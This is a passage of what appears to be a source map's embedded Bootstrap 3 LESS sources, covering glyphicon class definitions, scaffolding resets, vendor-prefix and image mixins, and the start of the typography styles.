&:before { content: \"\\2212\"; } }\n.glyphicon-cloud { &:before { content: \"\\2601\"; } }\n.glyphicon-envelope { &:before { content: \"\\2709\"; } }\n.glyphicon-pencil { &:before { content: \"\\270f\"; } }\n.glyphicon-glass { &:before { content: \"\\e001\"; } }\n.glyphicon-music { &:before { content: \"\\e002\"; } }\n.glyphicon-search { &:before { content: \"\\e003\"; } }\n.glyphicon-heart { &:before { content: \"\\e005\"; } }\n.glyphicon-star { &:before { content: \"\\e006\"; } }\n.glyphicon-star-empty { &:before { content: \"\\e007\"; } }\n.glyphicon-user { &:before { content: \"\\e008\"; } }\n.glyphicon-film { &:before { content: \"\\e009\"; } }\n.glyphicon-th-large { &:before { content: \"\\e010\"; } }\n.glyphicon-th { &:before { content: \"\\e011\"; } }\n.glyphicon-th-list { &:before { content: \"\\e012\"; } }\n.glyphicon-ok { &:before { content: \"\\e013\"; } }\n.glyphicon-remove { &:before { content: \"\\e014\"; } }\n.glyphicon-zoom-in { &:before { content: \"\\e015\"; } }\n.glyphicon-zoom-out { &:before { content: \"\\e016\"; } }\n.glyphicon-off { &:before { content: \"\\e017\"; } }\n.glyphicon-signal { &:before { content: \"\\e018\"; } }\n.glyphicon-cog { &:before { content: \"\\e019\"; } }\n.glyphicon-trash { &:before { content: \"\\e020\"; } }\n.glyphicon-home { &:before { content: \"\\e021\"; } }\n.glyphicon-file { &:before { content: \"\\e022\"; } }\n.glyphicon-time { &:before { content: \"\\e023\"; } }\n.glyphicon-road { &:before { content: \"\\e024\"; } }\n.glyphicon-download-alt { &:before { content: \"\\e025\"; } }\n.glyphicon-download { &:before { content: \"\\e026\"; } }\n.glyphicon-upload { &:before { content: \"\\e027\"; } }\n.glyphicon-inbox { &:before { content: \"\\e028\"; } }\n.glyphicon-play-circle { &:before { content: \"\\e029\"; } }\n.glyphicon-repeat { &:before { content: \"\\e030\"; } }\n.glyphicon-refresh { &:before { content: \"\\e031\"; } }\n.glyphicon-list-alt { &:before { content: \"\\e032\"; } }\n.glyphicon-lock { &:before { content: \"\\e033\"; } }\n.glyphicon-flag { &:before { content: \"\\e034\"; } }\n.glyphicon-headphones { &:before { content: \"\\e035\"; } }\n.glyphicon-volume-off { &:before { content: \"\\e036\"; } }\n.glyphicon-volume-down { &:before { content: \"\\e037\"; } }\n.glyphicon-volume-up { &:before { content: \"\\e038\"; } }\n.glyphicon-qrcode { &:before { content: \"\\e039\"; } }\n.glyphicon-barcode { &:before { content: \"\\e040\"; } }\n.glyphicon-tag { &:before { content: \"\\e041\"; } }\n.glyphicon-tags { &:before { content: \"\\e042\"; } }\n.glyphicon-book { &:before { content: \"\\e043\"; } }\n.glyphicon-bookmark { &:before { content: \"\\e044\"; } }\n.glyphicon-print { &:before { content: \"\\e045\"; } }\n.glyphicon-camera { &:before { content: \"\\e046\"; } }\n.glyphicon-font { &:before { content: \"\\e047\"; } }\n.glyphicon-bold { &:before { content: \"\\e048\"; } }\n.glyphicon-italic { &:before { content: \"\\e049\"; } }\n.glyphicon-text-height { &:before { content: \"\\e050\"; } }\n.glyphicon-text-width { &:before { content: \"\\e051\"; } }\n.glyphicon-align-left { &:before { content: \"\\e052\"; } }\n.glyphicon-align-center { &:before { content: \"\\e053\"; } }\n.glyphicon-align-right { &:before { content: \"\\e054\"; } }\n.glyphicon-align-justify { &:before { content: \"\\e055\"; } }\n.glyphicon-list { &:before { content: \"\\e056\"; } }\n.glyphicon-indent-left { &:before { content: \"\\e057\"; } }\n.glyphicon-indent-right { &:before { content: \"\\e058\"; } }\n.glyphicon-facetime-video { &:before { content: \"\\e059\"; } }\n.glyphicon-picture { &:before { content: \"\\e060\"; } }\n.glyphicon-map-marker { &:before { content: \"\\e062\"; } }\n.glyphicon-adjust { &:before { content: \"\\e063\"; } }\n.glyphicon-tint { &:before { content: \"\\e064\"; } }\n.glyphicon-edit { &:before { content: \"\\e065\"; } }\n.glyphicon-share { &:before { content: \"\\e066\"; } }\n.glyphicon-check { &:before { content: \"\\e067\"; } }\n.glyphicon-move { &:before { content: \"\\e068\"; } }\n.glyphicon-step-backward { &:before { content: \"\\e069\"; } }\n.glyphicon-fast-backward { &:before { content: \"\\e070\"; } }\n.glyphicon-backward { &:before { content: \"\\e071\"; } }\n.glyphicon-play { &:before { content: \"\\e072\"; } }\n.glyphicon-pause { &:before { content: \"\\e073\"; } }\n.glyphicon-stop { &:before { content: \"\\e074\"; } }\n.glyphicon-forward { &:before { content: \"\\e075\"; } }\n.glyphicon-fast-forward { &:before { content: \"\\e076\"; } }\n.glyphicon-step-forward { &:before { content: \"\\e077\"; } }\n.glyphicon-eject { &:before { content: \"\\e078\"; } }\n.glyphicon-chevron-left { &:before { content: \"\\e079\"; } }\n.glyphicon-chevron-right { &:before { content: \"\\e080\"; } }\n.glyphicon-plus-sign { &:before { content: \"\\e081\"; } }\n.glyphicon-minus-sign { &:before { content: \"\\e082\"; } }\n.glyphicon-remove-sign { &:before { content: \"\\e083\"; } }\n.glyphicon-ok-sign { &:before { content: \"\\e084\"; } }\n.glyphicon-question-sign { &:before { content: \"\\e085\"; } }\n.glyphicon-info-sign { &:before { content: \"\\e086\"; } }\n.glyphicon-screenshot { &:before { content: \"\\e087\"; } }\n.glyphicon-remove-circle { &:before { content: \"\\e088\"; } }\n.glyphicon-ok-circle { &:before { content: \"\\e089\"; } }\n.glyphicon-ban-circle { &:before { content: \"\\e090\"; } }\n.glyphicon-arrow-left { &:before { content: \"\\e091\"; } }\n.glyphicon-arrow-right { &:before { content: \"\\e092\"; } }\n.glyphicon-arrow-up { &:before { content: \"\\e093\"; } }\n.glyphicon-arrow-down { &:before { content: \"\\e094\"; } }\n.glyphicon-share-alt { &:before { content: \"\\e095\"; } }\n.glyphicon-resize-full { &:before { content: \"\\e096\"; } }\n.glyphicon-resize-small { &:before { content: \"\\e097\"; } }\n.glyphicon-exclamation-sign { &:before { content: \"\\e101\"; } }\n.glyphicon-gift { &:before { content: \"\\e102\"; } }\n.glyphicon-leaf { &:before { content: \"\\e103\"; } }\n.glyphicon-fire { &:before { content: \"\\e104\"; } }\n.glyphicon-eye-open { &:before { content: \"\\e105\"; } }\n.glyphicon-eye-close { &:before { content: \"\\e106\"; } }\n.glyphicon-warning-sign { &:before { content: \"\\e107\"; } }\n.glyphicon-plane { &:before { content: \"\\e108\"; } }\n.glyphicon-calendar { &:before { content: \"\\e109\"; } }\n.glyphicon-random { &:before { content: \"\\e110\"; } }\n.glyphicon-comment { &:before { content: \"\\e111\"; } }\n.glyphicon-magnet { &:before { content: \"\\e112\"; } }\n.glyphicon-chevron-up { &:before { content: \"\\e113\"; } }\n.glyphicon-chevron-down { &:before { content: \"\\e114\"; } }\n.glyphicon-retweet { &:before { content: \"\\e115\"; } }\n.glyphicon-shopping-cart { &:before { content: \"\\e116\"; } }\n.glyphicon-folder-close { &:before { content: \"\\e117\"; } }\n.glyphicon-folder-open { &:before { content: \"\\e118\"; } }\n.glyphicon-resize-vertical { &:before { content: \"\\e119\"; } }\n.glyphicon-resize-horizontal { &:before { content: \"\\e120\"; } }\n.glyphicon-hdd { &:before { content: \"\\e121\"; } }\n.glyphicon-bullhorn { &:before { content: \"\\e122\"; } }\n.glyphicon-bell { &:before { content: \"\\e123\"; } }\n.glyphicon-certificate { &:before { content: \"\\e124\"; } }\n.glyphicon-thumbs-up { &:before { content: \"\\e125\"; } }\n.glyphicon-thumbs-down { &:before { content: \"\\e126\"; } }\n.glyphicon-hand-right { &:before { content: \"\\e127\"; } }\n.glyphicon-hand-left { &:before { content: \"\\e128\"; } }\n.glyphicon-hand-up { &:before { content: \"\\e129\"; } }\n.glyphicon-hand-down { &:before { content: \"\\e130\"; } }\n.glyphicon-circle-arrow-right { &:before { content: \"\\e131\"; } }\n.glyphicon-circle-arrow-left { &:before { content: \"\\e132\"; } }\n.glyphicon-circle-arrow-up { &:before { content: \"\\e133\"; } }\n.glyphicon-circle-arrow-down { &:before { content: \"\\e134\"; } }\n.glyphicon-globe { &:before { content: \"\\e135\"; } }\n.glyphicon-wrench { &:before { content: \"\\e136\"; } }\n.glyphicon-tasks { &:before { content: \"\\e137\"; } }\n.glyphicon-filter { &:before { content: \"\\e138\"; } }\n.glyphicon-briefcase { &:before { content: \"\\e139\"; } }\n.glyphicon-fullscreen { &:before { content: \"\\e140\"; } }\n.glyphicon-dashboard { &:before { content: \"\\e141\"; } }\n.glyphicon-paperclip { &:before { content: \"\\e142\"; } }\n.glyphicon-heart-empty { &:before { content: \"\\e143\"; } }\n.glyphicon-link { &:before { content: \"\\e144\"; } }\n.glyphicon-phone { &:before { content: \"\\e145\"; } }\n.glyphicon-pushpin { &:before { content: \"\\e146\"; } }\n.glyphicon-usd { &:before { content: \"\\e148\"; } }\n.glyphicon-gbp { &:before { content: \"\\e149\"; } }\n.glyphicon-sort { &:before { content: \"\\e150\"; } }\n.glyphicon-sort-by-alphabet { &:before { content: \"\\e151\"; } }\n.glyphicon-sort-by-alphabet-alt { &:before { content: \"\\e152\"; } }\n.glyphicon-sort-by-order { &:before { content: \"\\e153\"; } }\n.glyphicon-sort-by-order-alt { &:before { content: \"\\e154\"; } }\n.glyphicon-sort-by-attributes { &:before { content: \"\\e155\"; } }\n.glyphicon-sort-by-attributes-alt { &:before { content: \"\\e156\"; } }\n.glyphicon-unchecked { &:before { content: \"\\e157\"; } }\n.glyphicon-expand { &:before { content: \"\\e158\"; } }\n.glyphicon-collapse-down { &:before { content: \"\\e159\"; } }\n.glyphicon-collapse-up { &:before { content: \"\\e160\"; } }\n.glyphicon-log-in { &:before { content: \"\\e161\"; } }\n.glyphicon-flash { &:before { content: \"\\e162\"; } }\n.glyphicon-log-out { &:before { content: \"\\e163\"; } }\n.glyphicon-new-window { &:before { content: \"\\e164\"; } }\n.glyphicon-record { &:before { content: \"\\e165\"; } }\n.glyphicon-save { &:before { content: \"\\e166\"; } }\n.glyphicon-open { &:before { content: \"\\e167\"; } }\n.glyphicon-saved { &:before { content: \"\\e168\"; } }\n.glyphicon-import { &:before { content: \"\\e169\"; } }\n.glyphicon-export { &:before { content: \"\\e170\"; } }\n.glyphicon-send { &:before { content: \"\\e171\"; } }\n.glyphicon-floppy-disk { &:before { content: \"\\e172\"; } }\n.glyphicon-floppy-saved { &:before { content: \"\\e173\"; } }\n.glyphicon-floppy-remove { &:before { content: \"\\e174\"; } }\n.glyphicon-floppy-save { &:before { content: \"\\e175\"; } }\n.glyphicon-floppy-open { &:before { content: \"\\e176\"; } }\n.glyphicon-credit-card { &:before { content: \"\\e177\"; } }\n.glyphicon-transfer { &:before { content: \"\\e178\"; } }\n.glyphicon-cutlery { &:before { content: \"\\e179\"; } }\n.glyphicon-header { &:before { content: \"\\e180\"; } }\n.glyphicon-compressed { &:before { content: \"\\e181\"; } }\n.glyphicon-earphone { &:before { content: \"\\e182\"; } }\n.glyphicon-phone-alt { &:before { content: \"\\e183\"; } }\n.glyphicon-tower { &:before { content: \"\\e184\"; } }\n.glyphicon-stats { &:before { content: \"\\e185\"; } }\n.glyphicon-sd-video { &:before { content: \"\\e186\"; } }\n.glyphicon-hd-video { &:before { content: \"\\e187\"; } }\n.glyphicon-subtitles { &:before { content: \"\\e188\"; } }\n.glyphicon-sound-stereo { &:before { content: \"\\e189\"; } }\n.glyphicon-sound-dolby { &:before { content: \"\\e190\"; } }\n.glyphicon-sound-5-1 { &:before { content: \"\\e191\"; } }\n.glyphicon-sound-6-1 { &:before { content: \"\\e192\"; } }\n.glyphicon-sound-7-1 { &:before { content: \"\\e193\"; } }\n.glyphicon-copyright-mark { &:before { content: \"\\e194\"; } }\n.glyphicon-registration-mark { &:before { content: \"\\e195\"; } }\n.glyphicon-cloud-download { &:before { content: \"\\e197\"; } }\n.glyphicon-cloud-upload { &:before { content: \"\\e198\"; } }\n.glyphicon-tree-conifer { &:before { content: \"\\e199\"; } }\n.glyphicon-tree-deciduous { &:before { content: \"\\e200\"; } }\n.glyphicon-cd { &:before { content: \"\\e201\"; } }\n.glyphicon-save-file { &:before { content: \"\\e202\"; } }\n.glyphicon-open-file { &:before { content: \"\\e203\"; } }\n.glyphicon-level-up { &:before { content: \"\\e204\"; } }\n.glyphicon-copy { &:before { content: \"\\e205\"; } }\n.glyphicon-paste { &:before { content: \"\\e206\"; } }\n// The following 2 Glyphicons are omitted for the time being because\n// they currently use Unicode codepoints that are outside the\n// Basic Multilingual Plane (BMP). Older buggy versions of WebKit can't handle\n// non-BMP codepoints in CSS string escapes, and thus can't display these two icons.\n// Notably, the bug affects some older versions of the Android Browser.\n// More info: https://github.com/twbs/bootstrap/issues/10106\n// .glyphicon-door { &:before { content: \"\\1f6aa\"; } }\n// .glyphicon-key { &:before { content: \"\\1f511\"; } }\n.glyphicon-alert { &:before { content: \"\\e209\"; } }\n.glyphicon-equalizer { &:before { content: \"\\e210\"; } }\n.glyphicon-king { &:before { content: \"\\e211\"; } }\n.glyphicon-queen { &:before { content: \"\\e212\"; } }\n.glyphicon-pawn { &:before { content: \"\\e213\"; } }\n.glyphicon-bishop { &:before { content: \"\\e214\"; } }\n.glyphicon-knight { &:before { content: \"\\e215\"; } }\n.glyphicon-baby-formula { &:before { content: \"\\e216\"; } }\n.glyphicon-tent { &:before { content: \"\\26fa\"; } }\n.glyphicon-blackboard { &:before { content: \"\\e218\"; } }\n.glyphicon-bed { &:before { content: \"\\e219\"; } }\n.glyphicon-apple { &:before { content: \"\\f8ff\"; } }\n.glyphicon-erase { &:before { content: \"\\e221\"; } }\n.glyphicon-hourglass { &:before { content: \"\\231b\"; } }\n.glyphicon-lamp { &:before { content: \"\\e223\"; } }\n.glyphicon-duplicate { &:before { content: \"\\e224\"; } }\n.glyphicon-piggy-bank { &:before { content: \"\\e225\"; } }\n.glyphicon-scissors { &:before { content: \"\\e226\"; } }\n.glyphicon-bitcoin { &:before { content: \"\\e227\"; } }\n.glyphicon-btc { &:before { content: \"\\e227\"; } }\n.glyphicon-xbt { &:before { content: \"\\e227\"; } }\n.glyphicon-yen { &:before { content: \"\\00a5\"; } }\n.glyphicon-jpy { &:before { content: \"\\00a5\"; } }\n.glyphicon-ruble { &:before { content: \"\\20bd\"; } }\n.glyphicon-rub { &:before { content: \"\\20bd\"; } }\n.glyphicon-scale { &:before { content: \"\\e230\"; } }\n.glyphicon-ice-lolly { &:before { content: \"\\e231\"; } }\n.glyphicon-ice-lolly-tasted { &:before { content: \"\\e232\"; } }\n.glyphicon-education { &:before { content: \"\\e233\"; } }\n.glyphicon-option-horizontal { &:before { content: \"\\e234\"; } }\n.glyphicon-option-vertical { &:before { content: \"\\e235\"; } }\n.glyphicon-menu-hamburger { &:before { content: \"\\e236\"; } }\n.glyphicon-modal-window { &:before { content: \"\\e237\"; } }\n.glyphicon-oil { &:before { content: \"\\e238\"; } }\n.glyphicon-grain { &:before { content: \"\\e239\"; } }\n.glyphicon-sunglasses { &:before { content: \"\\e240\"; } }\n.glyphicon-text-size { &:before { content: \"\\e241\"; } }\n.glyphicon-text-color { &:before { content: \"\\e242\"; } }\n.glyphicon-text-background { &:before { content: \"\\e243\"; } }\n.glyphicon-object-align-top { &:before { content: \"\\e244\"; } }\n.glyphicon-object-align-bottom { &:before { content: \"\\e245\"; } }\n.glyphicon-object-align-horizontal{ &:before { content: \"\\e246\"; } }\n.glyphicon-object-align-left { &:before { content: \"\\e247\"; } }\n.glyphicon-object-align-vertical { &:before { content: \"\\e248\"; } }\n.glyphicon-object-align-right { &:before { content: \"\\e249\"; } }\n.glyphicon-triangle-right { &:before { content: \"\\e250\"; } }\n.glyphicon-triangle-left { &:before { content: \"\\e251\"; } }\n.glyphicon-triangle-bottom { &:before { content: \"\\e252\"; } }\n.glyphicon-triangle-top { &:before { content: \"\\e253\"; } }\n.glyphicon-console { &:before { content: \"\\e254\"; } }\n.glyphicon-superscript { &:before { content: \"\\e255\"; } }\n.glyphicon-subscript { &:before { content: \"\\e256\"; } }\n.glyphicon-menu-left { &:before { content: \"\\e257\"; } }\n.glyphicon-menu-right { &:before { content: \"\\e258\"; } }\n.glyphicon-menu-down { &:before { content: \"\\e259\"; } }\n.glyphicon-menu-up { &:before { content: \"\\e260\"; } }\n","//\n// Scaffolding\n// --------------------------------------------------\n\n\n// Reset the box-sizing\n//\n// Heads up! This reset may cause conflicts with some third-party widgets.\n// For recommendations on resolving such conflicts, see\n// http://getbootstrap.com/getting-started/#third-box-sizing\n* {\n .box-sizing(border-box);\n}\n*:before,\n*:after {\n .box-sizing(border-box);\n}\n\n\n// Body reset\n\nhtml {\n font-size: 10px;\n -webkit-tap-highlight-color: rgba(0,0,0,0);\n}\n\nbody {\n font-family: @font-family-base;\n font-size: @font-size-base;\n line-height: @line-height-base;\n color: @text-color;\n background-color: @body-bg;\n}\n\n// Reset fonts for relevant elements\ninput,\nbutton,\nselect,\ntextarea {\n font-family: inherit;\n font-size: inherit;\n line-height: inherit;\n}\n\n\n// Links\n\na {\n color: @link-color;\n text-decoration: none;\n\n &:hover,\n &:focus {\n color: @link-hover-color;\n text-decoration: @link-hover-decoration;\n }\n\n &:focus {\n .tab-focus();\n }\n}\n\n\n// Figures\n//\n// We reset this here because previously Normalize had no `figure` margins. This\n// ensures we don't break anyone's use of the element.\n\nfigure {\n margin: 0;\n}\n\n\n// Images\n\nimg {\n vertical-align: middle;\n}\n\n// Responsive images (ensure images don't scale beyond their parents)\n.img-responsive {\n .img-responsive();\n}\n\n// Rounded corners\n.img-rounded {\n border-radius: @border-radius-large;\n}\n\n// Image thumbnails\n//\n// Heads up! This is mixin-ed into thumbnails.less for `.thumbnail`.\n.img-thumbnail {\n padding: @thumbnail-padding;\n line-height: @line-height-base;\n background-color: @thumbnail-bg;\n border: 1px solid @thumbnail-border;\n border-radius: @thumbnail-border-radius;\n .transition(all .2s ease-in-out);\n\n // Keep them at most 100% wide\n .img-responsive(inline-block);\n}\n\n// Perfect circle\n.img-circle {\n border-radius: 50%; // set radius in percents\n}\n\n\n// Horizontal rules\n\nhr {\n margin-top: @line-height-computed;\n margin-bottom: @line-height-computed;\n border: 0;\n border-top: 1px solid @hr-border;\n}\n\n\n// Only display content to screen readers\n//\n// See: http://a11yproject.com/posts/how-to-hide-content\n\n.sr-only {\n position: absolute;\n width: 1px;\n height: 1px;\n margin: -1px;\n padding: 0;\n overflow: hidden;\n clip: rect(0,0,0,0);\n border: 0;\n}\n\n// Use in conjunction with .sr-only to only display content when it's focused.\n// Useful for \"Skip to main content\" links; see http://www.w3.org/TR/2013/NOTE-WCAG20-TECHS-20130905/G1\n// Credit: HTML5 Boilerplate\n\n.sr-only-focusable {\n &:active,\n &:focus {\n position: static;\n width: auto;\n height: auto;\n margin: 0;\n overflow: visible;\n clip: auto;\n }\n}\n\n\n// iOS \"clickable elements\" fix for role=\"button\"\n//\n// Fixes \"clickability\" issue (and more generally, the firing of events such as focus as well)\n// for traditionally non-focusable elements with role=\"button\"\n// see https://developer.mozilla.org/en-US/docs/Web/Events/click#Safari_Mobile\n\n[role=\"button\"] {\n cursor: pointer;\n}\n","// Vendor Prefixes\n//\n// All vendor mixins are deprecated as of v3.2.0 due to the introduction of\n// Autoprefixer in our Gruntfile. They have been removed in v4.\n\n// - Animations\n// - Backface visibility\n// - Box shadow\n// - Box sizing\n// - Content columns\n// - Hyphens\n// - Placeholder text\n// - Transformations\n// - Transitions\n// - User Select\n\n\n// Animations\n.animation(@animation) {\n -webkit-animation: @animation;\n -o-animation: @animation;\n animation: @animation;\n}\n.animation-name(@name) {\n -webkit-animation-name: @name;\n animation-name: @name;\n}\n.animation-duration(@duration) {\n -webkit-animation-duration: @duration;\n animation-duration: @duration;\n}\n.animation-timing-function(@timing-function) {\n -webkit-animation-timing-function: @timing-function;\n animation-timing-function: @timing-function;\n}\n.animation-delay(@delay) {\n -webkit-animation-delay: @delay;\n animation-delay: @delay;\n}\n.animation-iteration-count(@iteration-count) {\n -webkit-animation-iteration-count: @iteration-count;\n animation-iteration-count: @iteration-count;\n}\n.animation-direction(@direction) {\n -webkit-animation-direction: @direction;\n animation-direction: @direction;\n}\n.animation-fill-mode(@fill-mode) {\n -webkit-animation-fill-mode: @fill-mode;\n animation-fill-mode: @fill-mode;\n}\n\n// Backface visibility\n// Prevent browsers from flickering when using CSS 3D transforms.\n// Default value is `visible`, but can be changed to `hidden`\n\n.backface-visibility(@visibility) {\n -webkit-backface-visibility: @visibility;\n -moz-backface-visibility: @visibility;\n backface-visibility: @visibility;\n}\n\n// Drop shadows\n//\n// Note: Deprecated `.box-shadow()` as of v3.1.0 since all of Bootstrap's\n// supported browsers that have box shadow capabilities now support it.\n\n.box-shadow(@shadow) {\n -webkit-box-shadow: @shadow; // iOS <4.3 & Android <4.1\n box-shadow: @shadow;\n}\n\n// Box sizing\n.box-sizing(@boxmodel) {\n -webkit-box-sizing: @boxmodel;\n -moz-box-sizing: @boxmodel;\n box-sizing: @boxmodel;\n}\n\n// CSS3 Content Columns\n.content-columns(@column-count; @column-gap: @grid-gutter-width) {\n -webkit-column-count: @column-count;\n -moz-column-count: @column-count;\n column-count: @column-count;\n -webkit-column-gap: @column-gap;\n -moz-column-gap: @column-gap;\n column-gap: @column-gap;\n}\n\n// Optional hyphenation\n.hyphens(@mode: auto) {\n word-wrap: break-word;\n -webkit-hyphens: @mode;\n -moz-hyphens: @mode;\n -ms-hyphens: @mode; // IE10+\n -o-hyphens: @mode;\n hyphens: @mode;\n}\n\n// Placeholder text\n.placeholder(@color: @input-color-placeholder) {\n // Firefox\n &::-moz-placeholder {\n color: @color;\n opacity: 1; // Override Firefox's unusual default opacity; see https://github.com/twbs/bootstrap/pull/11526\n }\n &:-ms-input-placeholder { color: @color; } // Internet Explorer 10+\n &::-webkit-input-placeholder { color: @color; } // Safari and Chrome\n}\n\n// Transformations\n.scale(@ratio) {\n -webkit-transform: scale(@ratio);\n -ms-transform: scale(@ratio); // IE9 only\n -o-transform: scale(@ratio);\n transform: scale(@ratio);\n}\n.scale(@ratioX; @ratioY) {\n -webkit-transform: scale(@ratioX, @ratioY);\n -ms-transform: scale(@ratioX, @ratioY); // IE9 only\n -o-transform: scale(@ratioX, @ratioY);\n transform: scale(@ratioX, @ratioY);\n}\n.scaleX(@ratio) {\n -webkit-transform: scaleX(@ratio);\n -ms-transform: scaleX(@ratio); // IE9 only\n -o-transform: scaleX(@ratio);\n transform: scaleX(@ratio);\n}\n.scaleY(@ratio) {\n -webkit-transform: scaleY(@ratio);\n -ms-transform: scaleY(@ratio); // IE9 only\n -o-transform: scaleY(@ratio);\n transform: scaleY(@ratio);\n}\n.skew(@x; @y) {\n -webkit-transform: skewX(@x) skewY(@y);\n -ms-transform: skewX(@x) skewY(@y); // See https://github.com/twbs/bootstrap/issues/4885; IE9+\n -o-transform: skewX(@x) skewY(@y);\n transform: skewX(@x) skewY(@y);\n}\n.translate(@x; @y) {\n -webkit-transform: translate(@x, @y);\n -ms-transform: translate(@x, @y); // IE9 only\n -o-transform: translate(@x, @y);\n transform: translate(@x, @y);\n}\n.translate3d(@x; @y; @z) {\n -webkit-transform: translate3d(@x, @y, @z);\n transform: translate3d(@x, @y, @z);\n}\n.rotate(@degrees) {\n -webkit-transform: rotate(@degrees);\n -ms-transform: rotate(@degrees); // IE9 only\n -o-transform: rotate(@degrees);\n transform: rotate(@degrees);\n}\n.rotateX(@degrees) {\n -webkit-transform: rotateX(@degrees);\n -ms-transform: rotateX(@degrees); // IE9 only\n -o-transform: rotateX(@degrees);\n transform: rotateX(@degrees);\n}\n.rotateY(@degrees) {\n -webkit-transform: rotateY(@degrees);\n -ms-transform: rotateY(@degrees); // IE9 only\n -o-transform: rotateY(@degrees);\n transform: rotateY(@degrees);\n}\n.perspective(@perspective) {\n -webkit-perspective: @perspective;\n -moz-perspective: @perspective;\n perspective: @perspective;\n}\n.perspective-origin(@perspective) {\n -webkit-perspective-origin: @perspective;\n -moz-perspective-origin: @perspective;\n perspective-origin: @perspective;\n}\n.transform-origin(@origin) {\n -webkit-transform-origin: @origin;\n -moz-transform-origin: @origin;\n -ms-transform-origin: @origin; // IE9 only\n transform-origin: @origin;\n}\n\n\n// Transitions\n\n.transition(@transition) {\n -webkit-transition: @transition;\n -o-transition: @transition;\n transition: @transition;\n}\n.transition-property(@transition-property) {\n -webkit-transition-property: @transition-property;\n transition-property: @transition-property;\n}\n.transition-delay(@transition-delay) {\n -webkit-transition-delay: @transition-delay;\n transition-delay: @transition-delay;\n}\n.transition-duration(@transition-duration) {\n -webkit-transition-duration: @transition-duration;\n transition-duration: @transition-duration;\n}\n.transition-timing-function(@timing-function) {\n -webkit-transition-timing-function: @timing-function;\n transition-timing-function: @timing-function;\n}\n.transition-transform(@transition) {\n -webkit-transition: -webkit-transform @transition;\n -moz-transition: -moz-transform @transition;\n -o-transition: -o-transform @transition;\n transition: transform @transition;\n}\n\n\n// User select\n// For selecting text on the page\n\n.user-select(@select) {\n -webkit-user-select: @select;\n -moz-user-select: @select;\n -ms-user-select: @select; // IE10+\n user-select: @select;\n}\n","// WebKit-style focus\n\n.tab-focus() {\n // WebKit-specific. Other browsers will keep their default outline style.\n // (Initially tried to also force default via `outline: initial`,\n // but that seems to erroneously remove the outline in Firefox altogether.)\n outline: 5px auto -webkit-focus-ring-color;\n outline-offset: -2px;\n}\n","// Image Mixins\n// - Responsive image\n// - Retina image\n\n\n// Responsive image\n//\n// Keep images from scaling beyond the width of their parents.\n.img-responsive(@display: block) {\n display: @display;\n max-width: 100%; // Part 1: Set a maximum relative to the parent\n height: auto; // Part 2: Scale the height according to the width, otherwise you get stretching\n}\n\n\n// Retina image\n//\n// Short retina mixin for setting background-image and -size. Note that the\n// spelling of `min--moz-device-pixel-ratio` is intentional.\n.img-retina(@file-1x; @file-2x; @width-1x; @height-1x) {\n background-image: url(\"@{file-1x}\");\n\n @media\n only screen and (-webkit-min-device-pixel-ratio: 2),\n only screen and ( min--moz-device-pixel-ratio: 2),\n only screen and ( -o-min-device-pixel-ratio: 2/1),\n only screen and ( min-device-pixel-ratio: 2),\n only screen and ( min-resolution: 192dpi),\n only screen and ( min-resolution: 2dppx) {\n background-image: url(\"@{file-2x}\");\n background-size: @width-1x @height-1x;\n }\n}\n","//\n// Typography\n// --------------------------------------------------\n\n\n// Headings\n// -------------------------\n\nh1, h2, h3, h4, h5, h6,\n.h1, .h2, .h3, .h4, .h5, .h6 {\n font-family: @headings-font-family;\n font-weight: @headings-font-weight;\n line-height: @headings-line-height;\n color: @headings-color;\n\n small,\n .small {\n font-weight: normal;\n line-height: 1;\n color: @headings-small-color;\n }\n}\n\nh1, .h1,\nh2, .h2,\nh3, .h3 {\n margin-top: @line-height-computed;\n margin-bottom: (@line-height-computed / 2);\n\n small,\n .small {\n font-size: 65%;\n }\n}\nh4, .h4,\nh5, .h5,\nh6, .h6 {\n margin-top: (@line-height-computed / 2);\n margin-bottom: (@line-height-computed / 2);\n\n small,\n .small {\n font-size: 75%;\n }\n}\n\nh1, .h1 { font-size: @font-size-h1; }\nh2, .h2 { font-size: @font-size-h2; }\nh3, .h3 { font-size: @font-size-h3; }\nh4, .h4 { font-size: @font-size-h4; }\nh5, .h5 { font-size: @font-size-h5; }\nh6, .h6 { font-size: @font-size-h6; }\n\n\n// Body text\n// -------------------------\n\np {\n margin: 0 0 (@line-height-computed / 2);\n}\n\n.lead {\n margin-bottom: @line-height-computed;\n font-size: floor((@font-size-base * 1.15));\n font-weight: 300;\n line-height: 1.4;\n\n @media (min-width: @screen-sm-min) {\n font-size: (@font-size-base * 1.5);\n }\n}\n\n\n// Emphasis & misc\n// -------------------------\n\n// Ex: (12px small font / 14px base font) * 100% = about 85%\nsmall,\n.small {\n font-size: floor((100% * @font-size-small / @font-size-base));\n}\n\nmark,\n.mark {\n background-color: @state-warning-bg;\n padding: .2em;\n}\n\n// Alignment\n.text-left { text-align: left; }\n.text-right { text-align: right; }\n.text-center { text-align: center; }\n.text-justify { text-align: justify; }\n.text-nowrap { white-space: nowrap; }\n\n// Transformation\n.text-lowercase { text-transform: lowercase; }\n.text-uppercase { text-transform: uppercase; }\n.text-capitalize { text-transform: capitalize; }\n\n// Contextual colors\n.text-muted {\n color: @text-muted;\n}\n.text-primary {\n .text-emphasis-variant(@brand-primary);\n}\n.text-success {\n .text-emphasis-variant(@state-success-text);\n}\n.text-info {\n .text-emphasis-variant(@state-info-text);\n}\n.text-warning {\n .text-emphasis-variant(@state-warning-text);\n}\n.text-danger {\n .text-emphasis-variant(@state-danger-text);\n}\n\n// Contextual backgrounds\n// For now we'll leave these alongside the text classes until v4 when we can\n// safely shift things around (per SemVer rules).\n.bg-primary {\n // Given the contrast here, this is the only class to have its color inverted\n // automatically.\n color: #fff;\n .bg-variant(@brand-primary);\n}\n.bg-success {\n .bg-variant(@state-success-bg);\n}\n.bg-info {\n .bg-variant(@state-info-bg);\n}\n.bg-warning {\n .bg-variant(@state-warning-bg);\n}\n.bg-danger {\n .bg-variant(@state-danger-bg);\n}\n\n\n// Page header\n// -------------------------\n\n.page-header {\n padding-bottom: ((@line-height-computed / 2) - 1);\n margin: (@line-height-computed * 2) 0 @line-height-computed;\n border-bottom: 1px solid @page-header-border-color;\n}\n\n\n// Lists\n// -------------------------\n\n// Unordered and Ordered lists\nul,\nol {\n margin-top: 0;\n margin-bottom: (@line-height-computed / 2);\n ul,\n ol {\n margin-bottom: 0;\n }\n}\n\n// List options\n\n// Unstyled keeps list items block level, just removes default browser padding and list-style\n.list-unstyled {\n padding-left: 0;\n list-style: none;\n}\n\n// Inline turns list items into inline-block\n.list-inline {\n .list-unstyled();\n margin-left: -5px;\n\n > li {\n display: inline-block;\n padding-left: 5px;\n padding-right: 5px;\n }\n}\n\n// Description Lists\ndl {\n margin-top: 0; // Remove 